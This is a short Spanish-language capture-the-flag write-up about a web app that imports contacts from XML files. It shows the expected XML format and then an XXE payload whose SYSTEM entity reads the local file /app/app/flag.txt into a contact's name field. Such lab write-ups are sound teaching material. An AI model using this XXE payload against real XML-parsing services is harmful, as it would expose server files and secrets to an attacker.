Descripción:

- Encuentra la vulnerabilidad en el siguiente sitio web y lee la flag que está en
- /app/app/flag.txt

Procedimiento:

Se hizo una revisión del sitio, *Walking the "happy path"* y se encontró con que esta era una aplicación que utiliza archivos XML para almacenar contactos. La manera en que se esperaría que se usará la aplicación es la siguiente:

```
<directorio>
<contacto>
<nombre>Nombre1</nombre>
<telefono>922-555-1478</telefono>
</contacto>
<contacto>
<nombre>Nombre2</nombre>
<telefono>###-###-####</telefono>
</contacto>
</directorio>
```

Código 1: Walking the happy path

Lo anterior nos muestra un mensaje de éxito y nos muestra los nombres de los contactos que se han importado.
Sin embargo, una mala implementación de este tipo de sistemas podría ocasionar ataques de tipo XXE para finalmente hacer un LFI como se muestra en el siguiente ejemplo:

```
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///app/app/flag.txt"> ]>
<directorio>
<contacto>
<nombre>&ent;</nombre>
<telefono>922-555-1478</telefono>
</contacto>
<contacto>
<nombre>Nombre2</nombre>
<telefono>###-###-####</telefono>
</contacto>
</directorio>
```

Código 2: Payload utilizado

Donde gracias a la entidad **SYSTEM** incluiremos el archivo ubicado en **/app/app/flag.txt** haciendo uso de **&ent**. Finalmente obtenemos la bandera una vez que enviamos nuestro payload.xml